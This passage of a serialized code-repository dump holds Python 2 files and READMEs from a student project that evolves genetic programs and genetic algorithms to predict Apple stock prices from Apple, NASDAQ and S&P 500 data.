\"before crossover\"\n #print self.rep\n #print other_parent.rep\n if l1 == l2:\n expected_length = l1\n tmp_p1 = \"\"\n tmp_p2 = \"\"\n for i in xrange(0, l1 , self.sig_size):\n p1 = self.rep[i: (i+self.sig_size) ]\n p2 = other_parent.rep[i: (i+self.sig_size) ]\n point = ri(0, self.sig_size - 1) \n #print point\n tmp1 = p1[point:]\n tmp2 = p2[point:]\n p1 = p1[:point] + tmp2\n p2 = p2[:point] + tmp1\n tmp_p1 = tmp_p1 + p1\n tmp_p2 = tmp_p2 + p2\n #print \"After crossover\"\n #print tmp_p1\n #print tmp_p2\n # used parent replaces children survivor selection\n if expected_length != 0:\n self.change_individual(tmp_p1.zfill(expected_length))\n other_parent.change_individual(tmp_p2.zfill(expected_length))\n #print \"After crossover\"\n #print self.rep \n #print other_parent.rep \n else:\n print \"length of both parents must be equal\"\n\n"},{"alpha_fraction":0.7145061492919922,"alphanum_fraction":0.7227365970611572,"avg_line_length":27.159420013427734,"blob_id":"e1e0cbfbe61f447fed676dece925541c4fda8353","content_id":"1c882cf2b6c1d7ac29cbc2b473d76ff555490cf9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1944,"license_type":"no_license","max_line_length":77,"num_lines":69,"path":"/Rahul_Genetic_Program/apple/selection.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: selection\n\n'''\n\tParent Selection\n\tFunctions\n'''\nfrom config import tournament_size\nfrom copy import deepcopy\nfrom random import sample\nfrom random import random\n\n'''\n\tRoullette Wheel\n'''\ndef sortPopulation(population):\n\t#Sort in descending order by fitness(error): highest error --> lowest error\n\tsorted_pop = sorted(population, key=lambda tree: tree.fitness, reverse=True)\n\treturn sorted_pop\n\ndef createRoulletteWheel(population):\n\t#Sum Ranks\n\ttotal = len(population)\t\n\t_rank_sum = reduce(lambda x,y: x+y, xrange(1, total+1))\t\n\t#Assign probability\n\tprobabilities = map(lambda i: i/float(_rank_sum), xrange(1, total+1))\t\n\t#Generate intervals\n\troulletteWheel = map(lambda i: 0, xrange(0, total)) #Fill list with zeroes\n\tfor i,p in enumerate(probabilities):\n\t\tif (i == 0):\n\t\t\troulletteWheel[0] = probabilities[i] \n\t\telse:\n\t\t\troulletteWheel[i] = roulletteWheel[i-1] + probabilities[i]\t\t\n\treturn roulletteWheel\t\n\ndef roulletteParentSelection(roulletteWheel, population):\t\n\tpopulation_size = len(population)\t\n\tsorted_population = sortPopulation(population)\n\tpopulation[:] = []\t\n\tfor i in xrange(0, population_size):\t\n\t\t#0.0 <= X <= 1.0\n\t\tnumber = random()\n\t\tfor j in xrange(0, len(roulletteWheel)):\n\t\t\tif (number <= roulletteWheel[j]):\n\t\t\t\tnew_tree = deepcopy(sorted_population[j])\n\t\t\t\tpopulation.append(new_tree)\t\n\t\t\t\tbreak \t#break out of inner for loop\n\t\n\n'''\n\tTournament Selection\n'''\ndef tournamentParentSelection(population):\n\ttemp_population = deepcopy(population)\t\t\n\tpopulation_size = len(population)\n\tk = tournament_size \n\tpopulation[:] = []\n\tfor p in xrange(0, population_size):\n\t\ttournament = sample(temp_population, k)\t\t\n\t\ttree = bestMatch(tournament)\n\t\tnew_tree = deepcopy(tree)\n\t\tpopulation.append(new_tree)\t\t\n\t\ndef bestMatch(tournament):\n\tfitnesses = map(lambda x: x.fitness, tournament)\n\tbest_fitness = min(fitnesses)\n\tbest_index = fitnesses.index(best_fitness)\n\tbest_tree = tournament[best_index]\n\treturn best_tree\n\n"},{"alpha_fraction":0.5741029381752014,"alphanum_fraction":0.6141445636749268,"avg_line_length":32.71929931640625,"blob_id":"a72f7ec9d4fd86528e2c93e9d6a8de6995dfb67a","content_id":"51bd7351f3aaf7ab6299c4f811c8e2ff73bf5b15","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3846,"license_type":"no_license","max_line_length":119,"num_lines":114,"path":"/Rahul_Genetic_Program/apple/scrape.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Rahul Ramakrishnan\n#module: scrape\n'''\n\t1. Scrapes stock data\n\t2. Structures data\n\t3. Returns data\n'''\n\nimport datetime\nimport random\n\n#Could use a generator, yield\ndef getTerminal():\n\t\n\tterminals = ['apple_open', 'apple_high', 'apple_low', \n\t\t 'apple_close', 'apple_volume', 'nasdaq_open', \n\t\t 'nasdaq_high', 'nasdaq_low', 'nasdaq_close', \n 'nasdaq_volume', 'sp500_open', 'sp500_high', \n\t\t 'sp500_low', 'sp500_close', 'sp500_volume']\n\n\t#Add 10 random coefficients into terminal list\n\t#to be used when applying operators on signals\n\tfor i in range(0,15):\n\t\trandom_integer = random.randint(-500, 500)\n\t\tnumber = random_integer * random.random()\n\t\t#Protect against divide by zero\n\t\tif(number == 0):\n\t\t\tnumber = .0001\n\t\tterminals.append(number)\t\n\n\trandom.shuffle(terminals)\t\n\treturn terminals\n\ndef getFunctional():\n\tfunctionals = ['+' , '/', '*', '-']\t\n\t#Will add math.exp, math.log, math.ln, math.e\t\n\trandom.shuffle(functionals)\n\treturn functionals\n\ndef getNasdaqData():\n\t#Open file reading stream\n\tnasdaq = open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/nasdaq.txt', 'r')\t\n\t#Training dates\n\tbegin_date = datetime.date(2011, 01, 01)\t\n\tend_date = datetime.date(2013, 12, 31)\n\t#Set up data structor to store the data\n\tnasdaq_data = []\n\t#Parse file\n\tfor line in nasdaq:\n\t\tinfo = line.split(',')\t\t\n\t\tdate = info[0]\t\n\t\tyear = int(date[:4]) \n\t\tmonth = int(date[5:7]) \n\t\tday = int(date[8:10])\n\t current = datetime.date(year, month, day)\t\n\t\t#Financial Placeholder for current data\n\t\tfinance_dict = {}\n\t\t#Check data date\n\t\tif current >= begin_date and current <= end_date:\n\t\t\t#Store financial data\n\t\t\tfinance_dict[\"nasdaq_open\"] = float(info[1])\n\t\t\tfinance_dict[\"nasdaq_low\"] = float(info[2])\n\t\t\tfinance_dict[\"nasdaq_high\"] = float(info[3])\n\t\t\tfinance_dict[\"nasdaq_close\"] = float(info[4])\n\t\t\tfinance_dict[\"nasdaq_volume\"] = float(info[5])\n\t\t\t#Storing financial data in the list\n\t\t\tnasdaq_data.append(finance_dict)\t\n\treturn nasdaq_data\t\n\n\ndef getAppleData():\t\n\tapple = open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/apple_stock.txt', 'r')\n\tbegin_date = datetime.date(2011, 01, 01)\n\tend_date = datetime.date(2013, 12, 31)\n\tapple_data = []\n\tfor line in apple:\n\t\tinfo = line.split(',')\n\t\tdate = info[0]\n\t\tyear = int(date[:4]) \n\t\tmonth = int(date[5:7]) \n\t\tday = int(date[8:10])\n\t\tcurrent = datetime.date(year, month, day)\t\n\t\tfinance_dict = {}\n\t\tif current >= begin_date and current <= end_date:\n\t\t\tfinance_dict[\"apple_open\"] = float(info[1])\n\t\t\tfinance_dict[\"apple_low\"] = float(info[2])\n\t\t\tfinance_dict[\"apple_high\"] = float(info[3])\n\t\t\tfinance_dict[\"apple_close\"] = float(info[4])\n\t\t\tfinance_dict[\"apple_volume\"] = float(info[5])\n\t\t\tapple_data.append(finance_dict)\n\treturn apple_data\t\t\n\n\ndef getSP500Data():\n sp500= open('/Users/rahulramakrishnan/Projects/algorithmic-trading/Rahul_Genetic_Program/data/sp_500.txt', 'r')\n begin_date = datetime.date(2011, 01, 01) \n end_date = datetime.date(2013, 12, 31) \n sp500_data = []\n for line in sp500:\n info = line.split(',')\n date = info[0]\n year = int(date[:4]) \n month = int(date[5:7]) \n day = int(date[8:10])\n current = datetime.date(year, month, day) \n finance_dict = {}\n if current >= begin_date and current <= end_date:\n finance_dict[\"sp500_open\"] = float(info[1])\n finance_dict[\"sp500_low\"] = float(info[2])\n finance_dict[\"sp500_high\"] = float(info[3])\n finance_dict[\"sp500_close\"] = float(info[4])\n finance_dict[\"sp500_volume\"] = float(info[5])\n sp500_data.append(finance_dict)\n return sp500_data\n\n\n"},{"alpha_fraction":0.7128547430038452,"alphanum_fraction":0.7128547430038452,"avg_line_length":27.33333396911621,"blob_id":"f1ab6c5079644867b1874e78f94918bbdae8f5c7","content_id":"49c1b0d80eeed1c03a5c87624d8b612c47ba84f6","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":599,"license_type":"no_license","max_line_length":53,"num_lines":21,"path":"/README.md","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"Evolutionary Computing\n======================\n\n\n**Description:**\nWe have two strategies in predicting\napple stock prices, one is through a \ngenetic program, the other is through a\ngenetic algorithm. Follow the instructions\nin the respective README's in sub repositories.\n\n\n- Genetic Program: Rahul Ramakrishnan\n\t- Evolves a tree based population to minimize\n\t the error between predicted price and actual price\n\t- Uses signals from nasdaq, apple, s&p, and soon to \n be more. \n\n- Genetic Algorithm: Tushar Dadlani\n\t- Evolves a bit string population to guess if the \n\t next day's stock will go up or down. \n\n\n\n"},{"alpha_fraction":0.44447752833366394,"alphanum_fraction":0.5841023921966553,"avg_line_length":35.4782600402832,"blob_id":"8b9d917900348586ef61f6d9db55e587a1682729","content_id":"5fb1da6b4a080fd32fbc9034f1add57fab0cb863","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3359,"license_type":"no_license","max_line_length":145,"num_lines":92,"path":"/Rahul_Genetic_Program/analysis/histogram.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"#Generates a Histogram\n#Rahul Ramakrishnan\n\n\nimport json\nimport os\n\n\n#first_dir = '/Users/rahulramakrishnan/Desktop/Trial_1_Dataset'\n#second_dir = '/Users/rahulramakrishnan/Desktop/Trial_2_Dataset'\n#third_dir = '/Users/rahulramakrishnan/Desktop/Trial_3_Dataset'\n#first_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_1'\n#second_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_2'\n#third_dir = '/Users/rahulramakrishnan/OneDrive/Academia/Stochastic Optimization/Algorithmic_Trading_Data/Tournament Selection Data/T_S_Trial_3'\n\nmean_histogram = { 0 : 0, \n\t \t 100 : 0,\n\t 1000 : 0, \n \t 10000 : 0,\n\t \t 100000 : 0, \n \t 1000000 : 0,\n\t \t 10000000 : 0, \n\t \t 100000000 : 0, \n\t 1000000000 : 0 }\n\nbest_histogram = { 0 : 0, \n \t 100 : 0,\n \t 1000 : 0, \n \t 10000 : 0,\n \t 100000 : 0, \n \t 1000000 : 0,\n \t 10000000 : 0, \n \t 100000000 : 0, \n \t 1000000000 : 0 } \n\nfiles = []\nfor root, dirs, filenames in os.walk(third_dir):\n\tfor f in filenames:\n\t\tfiles.append(open(os.path.join(root, f), 'r'))\n\nmean_histogram_file = open('./mean_histo_3.txt', 'w')\nbest_histogram_file = open('./best_histo_3.txt', 'w')\n\nfor i in range(1, len(files)):\n\tfor line in files[i]:\t\n\t\twords = line.split(' ')\n\t\tmean = words[0]\n\t\tbest = words[1]\t\n\t\n\t\tmean_num = float(mean)\n\t\tbest_num = float(best)\n\t\n\t \tif mean_num >= 0 and mean_num < 100:\t\t\n\t\t\tmean_histogram[0] += 1\n\t\telif mean_num >= 100 and mean_num < 1000:\t\n\t\t\tmean_histogram[100] += 1\n\t\telif mean_num >= 1000 and mean_num < 10000:\n\t\t\tmean_histogram[1000] += 1\n\t\telif mean_num >= 10000 and mean_num < 100000:\n\t\t\tmean_histogram[10000] += 1\n\t\telif mean_num >= 100000 and mean_num < 1000000:\n\t\t\tmean_histogram[100000] += 1\n\t\telif mean_num >= 1000000 and mean_num < 10000000:\n\t\t\tmean_histogram[1000000] += 1\n\t\telif mean_num >= 10000000 and mean_num < 100000000:\n\t\t\tmean_histogram[10000000] += 1\n\t\telif mean_num >= 100000000 and mean_num < 1000000000:\n\t\t\tmean_histogram[100000000] += 1\t\n\t\telif mean_num >= 1000000000:\n\t\t\tmean_histogram[1000000000] += 1\n\n\t\tif best_num >= 0 and best_num < 100:\n \tbest_histogram[0] += 1\n elif best_num >= 100 and best_num < 1000:\n \tbest_histogram[100] += 1\n elif best_num >= 1000 and best_num < 10000:\n \tbest_histogram[1000] += 1\n elif best_num >= 10000 and best_num < 100000:\n \tbest_histogram[10000] += 1\n elif best_num >= 100000 and best_num < 1000000:\n \tbest_histogram[100000] += 1\n elif best_num >= 1000000 and best_num < 10000000:\n \tbest_histogram[1000000] += 1\n elif best_num >= 10000000 and best_num < 100000000:\n \tbest_histogram[10000000] += 1\n elif best_num >= 100000000 and best_num < 1000000000:\n \tbest_histogram[100000000] += 1 \n elif best_num >= 1000000000:\n \tbest_histogram[1000000000] += 1\n\njson.dump(mean_histogram, mean_histogram_file)\njson.dump(best_histogram, best_histogram_file)\n\n\t\n"},{"alpha_fraction":0.7863247990608215,"alphanum_fraction":0.7948718070983887,"avg_line_length":28.25,"blob_id":"40e94f2a80eb723ab4f677b0829e6c6be0fd462e","content_id":"7d36f975edc519fe18e9844c80706db9d3abb981","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":117,"license_type":"no_license","max_line_length":78,"num_lines":4,"path":"/Genetic_algorithm_Tushar/README.txt","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"Ideas: \n\n1. Binary String representation to start with as we would be just predicting a\npositive or negative change.\n"},{"alpha_fraction":0.5463888049125671,"alphanum_fraction":0.5563802719116211,"avg_line_length":32.342857360839844,"blob_id":"733e449e6528cac4113b7bb1c6e0f6d8d5685af2","content_id":"f37d5853b5c33e0028b17cfbf5f461420ff6cf56","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3503,"license_type":"no_license","max_line_length":91,"num_lines":105,"path":"/Genetic_algorithm_Tushar/ga/population.py","repo_name":"seepls/algorithmic-trading","src_encoding":"UTF-8","text":"import random\nimport math\nimport operator\n\nfrom individual import Individual\n\nrandom.seed(1234)\n\ndef percent_diff(approx , correct):\n #print \"approx, correct\"\n #print approx, correct\n return ((approx - correct) / float(correct))\n\n\nclass Population(object):\n def __init__(self, size, signal_ranges, data, pm = 1/16.0 , pc = 0.7):\n individual_size = len(signal_ranges)\n self.population = []\n self.signal_ranges = signal_ranges\n self.pm = pm\n self.pc = pc\n self.size = size\n self.num_signals = len(signal_ranges)\n self.data = data\n #print \"self.data\"\n #print self.data\n self.data_size = len(data)\n for i in xrange(size):\n self.population.append(Individual(individual_size))\n\n\n def __getitem__(self, key):\n return self.population[key]\n\n def fitness_function(self, individual):\n transformed_individual = individual.transform_individual(self.signal_ranges)\n #print \"Transformed individual\"\n #print transformed_individual\n positive = 0\n count = 0\n for element in self.data:\n #one_iter = []\n #print \"element\"\n #print element\n for item in xrange(self.num_signals):\n #for item in xrange(3):\n \n #threshold = int(0.6 * self.num_signals)\n #print \"GA, value\"\n #print transformed_individual[item]\n #print \"actual value\"\n #print element[item]\n #print \"Delta\"\n #print transformed_individual[item] - element[item]\n #one_iter.append(percent_diff(transformed_individual[item], element[item]))\n #print transformed_individual[item]\n #print \"element[item]\"\n #print element[item]\n #print \"abs percent diff\"\n #print percent_diff(transformed_individual[item], element[item])\n if abs(percent_diff(transformed_individual[item], element[item])) < 0.5 :\n count = count + 1\n #print positive\n #return float(positive) / self.data_size\n #return float(positive) \n #print one_iter\n #print \"count\"\n #print count\n total_items = self.num_signals * self.data_size\n val = float(count) / total_items\n return val\n\n\n def sus_sampler(self, fitness_list):\n size = len(fitness_list)\n total_fitness = reduce(operator.add, fitness_list)\n\n if total_fitness == 0.0:\n print \"total_fitness == 0\"\n sel_prob_list = fitness_list\n else:\n sel_prob_list = [x/ total_fitness for x in fitness_list]\n summed_prob_list = []\n for i in xrange(1, len(sel_prob_list) + 1):\n summed_prob_list.append(reduce(operator.add, sel_prob_list[:i]))\n #print summed_prob_list\n \n\n i = 0\n r = random.uniform(0, 1.0/size)\n mating_pool = []\n while len(mating_pool) <= size -1:\n while r < summed_prob_list[i]:\n mating_pool.append(self.population[i])\n r = r + 1.0/size\n i += 1\n self.population = mating_pool\n\n def mutation(self):\n for individual in self.population:\n individual.mutate(self.pm)\n\n def crossover(self):\n for i in xrange(0, self.size, 2):\n self.population[i].crossover_2way(self.population[i+1], self.pc)\n\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6455142498016357,\n \"alphanum_fraction\": 0.6535375714302063,\n \"avg_line_length\": 22.220338821411133,\n \"blob_id\": \"e6836890310cc2a3ae47672cc3ad7d42a41416d8\",\n \"content_id\": \"95f79ad5d57f17b220078cfe80cf01ba8d28e60d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1371,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 59,\n \"path\": \"/Rahul_Genetic_Program/analysis/extract_data.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Extracts Data from Trials\\n#Rahul Ramakrishnan\\n\\nimport os\\nfirst_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_1'\\n#second_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_2'\\n#third_dir = '/Users/rahulramakrishnan/Desktop/T_S_Trial_3'\\n\\nmean_files = []\\nbest_files = []\\n\\nfor root, dirs, filenames in os.walk(first_dir):\\n for f in filenames:\\n\\tmean_files.append(open(os.path.join(root, f), 'r'))\\t\\t\\n\\tbest_files.append(open(os.path.join(root, f), 'r'))\\n\\nmean_file = open('./mean.txt', 'w')\\nbest_file = open('./best.txt', 'w')\\n\\ndef multiReadMean(f):\\n\\tmean_in_f = []\\n\\tfor line in f:\\n\\t\\twords = line.split(' ')\\n\\t\\tmean = words[0]\\n\\t\\tmean_in_f.append(mean)\\n\\treturn mean_in_f\\n\\ndef multiReadBest(f):\\n\\tbest_in_f = []\\n\\tfor line in f:\\n\\t\\twords = line.split(' ')\\n\\t\\tbest = words[1]\\n\\t\\tbest_in_f.append(best)\\n\\treturn best_in_f\\n\\n\\nmeans = map(lambda f: multiReadMean(f), mean_files)\\nbests = map(lambda f: multiReadBest(f), best_files)\\n\\n#means = [ [], [], [], [], [] ]\\n\\nmeans.pop(0)\\nbests.pop(0)\\n\\nfinal_means = []\\nfor i in range(0, len(means[0])):\\n\\tgeneration_means = map(lambda x: float(x[i]), means)\\n\\tfinal_means.append(min(generation_means))\\n\\nfinal_bests = []\\nfor i in range(0, len(bests[0])):\\n\\tgeneration_bests = map(lambda x: float(x[i]), bests)\\n\\tfinal_bests.append(min(generation_bests))\\n\\nfor m in final_means:\\n\\tmean_file.write(str(m) +'\\\\n')\\n\\nfor b in final_bests:\\n\\tbest_file.write(str(b) +'\\\\n')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6388722062110901,\n \"alphanum_fraction\": 0.6544691324234009,\n \"avg_line_length\": 19.567901611328125,\n \"blob_id\": \"62b742b2800411ec445501197531bff7bea708b1\",\n \"content_id\": \"4cade1352bbb123379c210662a9069be1abed8b8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1667,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 81,\n \"path\": \"/Rahul_Genetic_Program/README.md\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Predicting Apple Stock\\n======================\\nEvolutionary Computing - Genetic Program\\n========================================\\n\\n###Class: Stochastic Optimization\\n###Professor: Jason Lohn\\n###Author: Rahul Ramakrishnan\\n\\n**Description:**\\nPredicts apple stock price using a genetic program. \\nIt is trained using 2010-2013 apple and nasdaq data for\\nnow, however, more data will be added soon.\\n\\n\\n**Quick Start**\\n\\n*Step 1:*\\nInstall python 2.7 interpretter\\n\\n```\\nsudo apt-get install python2.7\\n```\\n\\nInstall pip (pip installs python):\\n\\nhttp://pip.readthedocs.org/en/latest/installing.html\\n\\n\\nOn Linux:\\n```\\nsudo apt-get install python-pip\\n```\\n\\n\\nInstall colors\\n\\n```\\nsudo pip install termcolor\\n```\\n\\n*Step 2:*\\nEnsure that Rahul_Genetic_Program/ contains\\n- a. predict.py\\n- b. apple/ (package containing modules)\\n\\t- config.py\\n\\t- tree.py\\n\\t- initialize.py\\n\\t- scrape.py\\n\\t- inspect.py\\n\\t- recombination.py\\n\\t- selection.py\\n\\t- fitness.py\\n- c. data/ (contains data)\\n- d. output/ (statistical data outputted)\\n- e. You can change default parameters in the config.py file\\n\\n*Step 3:*\\nPoint apple/scrape.py\\n\\tnasdaq line: 42\\n\\tsp500 line: 72\\n\\tapple line: 95\\n\\tto the file data path, \\n\\ton your system\\n\\n*Step 4:*\\n```\\n$ python predict.py\\n```\\n\\n*Step 5:*\\nPopulations will be outputted to the screen\\n\\n\\n**TO DO:**\\n- Add more signals (S&P, apple tweets, etc.) \\n- Fix early convergence from crossover ---------------------------DONE\\n- Refactor all for loops into map/reduce/filter/scan -------------DONE\\n- Add colors to output -------------------------------------------DONE\\n- Add graphs of mean generational error and best fitness----------PROGRESS\\n- Add best tree output along with average generational error -----DONE\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6114550828933716,\n \"alphanum_fraction\": 0.6424148678779602,\n \"avg_line_length\": 31.299999237060547,\n \"blob_id\": \"3f6c3aa15f3b2f2096d59bd43a7257b7520bbc5f\",\n \"content_id\": \"004886116b5d5c5490a47aba977d35c36e3289ba\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 646,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 20,\n \"path\": \"/Rahul_Genetic_Program/data/test_data/test_data_convert.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Rahul Ramakrishnan\\n#Stochastic Optimization\\n\\n#Test Data Convert\\ndef getAppleData():\\n\\t#Same thing for nasdaq data as apple\\n\\tapple = open('../nasdaq.txt', 'r')\\n\\ttest_apple = open('./test_apple_data.txt', 'w')\\t\\n\\tfor line in apple:\\n\\t\\tinfo = line.split(',')\\n\\t\\tapple_open = float(info[1])\\n\\t\\tapple_low = float(info[2])\\n\\t\\tapple_high = float(info[3])\\n\\t\\tapple_volume = float(info[5])\\n\\t\\tapple_close_price = apple_volume / 1000 - apple_open / 10 + apple_low - apple_high + 1000 \\n\\t\\tprint apple_close_price\\n\\t\\tnew_line = \\\"%s,%s,%s,%s,%s,%s,%s\\\" %(info[0], info[1], info[2], info[3], str(apple_close_price), info[5], info[6])\\n\\t\\ttest_apple.write(new_line)\\n\\t\\t\\ngetAppleData()\\n\"\n },\n {\n \"alpha_fraction\": 0.699090301990509,\n \"alphanum_fraction\": 0.7053883671760559,\n \"avg_line_length\": 26.980392456054688,\n \"blob_id\": \"3cbd117351737ecb7a3b8afe1cdaa4dd43844f68\",\n \"content_id\": \"ffad80f9f2251d6511fa0f867145025712e3468a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1429,\n \"license_type\": \"no_license\",\n \"max_line_length\": 74,\n \"num_lines\": 51,\n \"path\": \"/Genetic_algorithm_Tushar/predictor.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from data.read_stock import DataHandler\\nfrom ga.individual import Individual\\nfrom ga.population import Population\\nimport numpy as np\\n\\n\\ndataHandler = DataHandler(['apple_test_data.csv', 'NASDAQ_test_data.csv'])\\n#dataHandler = DataHandler(['apple_data.csv', 'NASDAQ_data.csv'])\\ndata = dataHandler.get_signal_list()\\nsignal_ranges = dataHandler.signal_ranges()\\n#print signal_ranges\\n\\ndata_element = len(data[0])\\n#print \\\"data[0]\\\"\\n#print data[0]\\n\\n\\npopulation = Population(100 , signal_ranges, data)\\n#for i in population:\\n# print i.transform_individual(signal_ranges)\\ninitial_fitess_values = map(population.fitness_function, population) \\n#print initial_fitess_values\\n\\n\\nnumber_generations = 100\\n\\npopulation.sus_sampler(initial_fitess_values)\\nmax_list = []\\nmean_list = []\\n\\nfor i in xrange(number_generations):\\n #print \\\"initial population\\\"\\n #for i in population:\\n # print i.rep\\n #print \\\"before crossover\\\"\\n population.crossover()\\n #print \\\"after crossover\\\"\\n #for i in population:\\n # print i.rep\\n #print \\\"before mutation\\\"\\n population.mutation()\\n #for i in population:\\n # print i.rep\\n #print \\\"after mutation\\\"\\n fitness_vals = map(population.fitness_function, population)\\n population.sus_sampler(fitness_vals)\\n mean_val = np.mean(fitness_vals)\\n max_val = max(fitness_vals)\\n print str(mean_val) + \\\",\\\" + str(max_val)\\n mean_list.append(mean_val)\\n max_list.append(max_val)\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.8275862336158752,\n \"alphanum_fraction\": 0.8275862336158752,\n \"avg_line_length\": 56,\n \"blob_id\": \"7f464e48148c7c30e9197e70adf059d162d56c88\",\n \"content_id\": \"b9ddc9edc5ea4109e7e95e737cadb19ba00fe137\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 58,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 1,\n \"path\": \"/Genetic_algorithm_Tushar/transform_data.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# File contains functions to perform data transformation \\n\"\n },\n {\n \"alpha_fraction\": 0.5877959728240967,\n \"alphanum_fraction\": 0.5955823659896851,\n \"avg_line_length\": 35.801170349121094,\n \"blob_id\": \"254031c05f886822eb195cf4c83102ff4c5ac847\",\n \"content_id\": \"bc86004dee2d75d9b934a05806eb8154bae025a0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6293,\n \"license_type\": \"no_license\",\n \"max_line_length\": 137,\n \"num_lines\": 171,\n \"path\": \"/Genetic_algorithm_Tushar/data/read_stock.py\",\n \"repo_name\": \"seepls/algorithmic-trading\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import csv\\nfrom datetime import datetime\\n\\n\\ndef read_csv_file(filename, objtype): \\n \\\"\\\"\\\" Function takes a CSV file and a class definition as input\\n and returns a list of that object type. It ignores the \\n header line of the CSV file. The class constructor needs \\n to handle how the list item is handled.\\\"\\\"\\\"\\n\\n obj_list = []\\n\\n with open(filename, 'rb') as f:\\n reader = csv.reader(f)\\n next(reader, None)\\n\\n for row in reader:\\n objinstance = objtype(row)\\n obj_list.append(objinstance)\\n\\n\\n return obj_list\\n\\n\\ndef percent_difference(value, orig):\\n return (value - orig) / float(orig)\\n\\n\\nclass AppleStockPrice:\\n \\\"\\\"\\\" Class to hold the stock price\\\"\\\"\\\"\\n def __init__(self,listing):\\n self.date_ = datetime.strptime(listing[0], \\\"%Y-%m-%d\\\")\\n self.open_ = float(listing[1])\\n self.high_ = float(listing[2])\\n self.low_ = float(listing[3])\\n self.close_ = float(listing[4])\\n self.volume_ = int(listing[5])\\n self.adjclose_ = float(listing[6])\\n\\n\\nclass NasdaqPrice:\\n \\\"\\\"\\\" Class to hold the NASDAQ price\\\"\\\"\\\"\\n def __init__(self,listing):\\n self.date_ = datetime.strptime(listing[0], \\\"%Y-%m-%d\\\")\\n self.open_ = float(listing[1])\\n self.high_ = float(listing[2])\\n self.low_ = float(listing[3])\\n self.close_ = float(listing[4])\\n self.volume_ = int(listing[5])\\n self.adjclose_ = float(listing[6])\\n\\n\\nclass FitnessDataObject:\\n \\\"\\\"\\\" Data used to evaluate the fitness of the evolved model \\\"\\\"\\\"\\n\\n def __init__(self):\\n self.data = {}\\n\\n def add_signal(self, name, value = 0.0):\\n if type(name) is str and name not in self.data:\\n self.data[name] = value\\n else:\\n print \\\"Signal name isn't a string\\\"\\n\\n def delete_signal(self, name):\\n if type(name) is str and name in self.data:\\n del self.data[name]\\n else:\\n print \\\"Signal name isn't a string or signal doesn't exist\\\"\\n\\n def get_signals(self):\\n return self.data.keys()\\n\\n def add_signals(self, names):\\n if names:\\n for name in names:\\n self.add_signal(name)\\n\\n def put_value(self, signal_name, value):\\n self.data[signal_name] = value\\n\\n def get(self, signal_name):\\n return self.data[signal_name]\\n\\n\\nclass DataHandler:\\n\\n\\n def get_dataset(self, file_class):\\n apple_stock_prices = read_csv_file(file_class[0][0], file_class[0][1])\\n nasdaq_stock_prices = read_csv_file(file_class[1][0], file_class[1][1])\\n dataset = []\\n\\n\\n for i in xrange(1, len(apple_stock_prices)):\\n\\n model = FitnessDataObject()\\n open_diff = percent_difference(apple_stock_prices[i].open_, apple_stock_prices[i-1].open_)\\n high_diff = percent_difference(apple_stock_prices[i].high_, apple_stock_prices[i-1].high_)\\n low_diff = percent_difference(apple_stock_prices[i].low_, apple_stock_prices[i-1].low_)\\n close_diff = percent_difference(apple_stock_prices[i].close_, apple_stock_prices[i-1].close_)\\n volume_diff = percent_difference(apple_stock_prices[i].volume_, apple_stock_prices[i-1].volume_)\\n adjclose_diff = percent_difference(apple_stock_prices[i].adjclose_, apple_stock_prices[i-1].adjclose_)\\n #dates_ = apple_stock_prices[i].date_\\n\\n model.add_signal(\\\"delta_open\\\", open_diff)\\n model.add_signal(\\\"delta_high\\\", high_diff)\\n 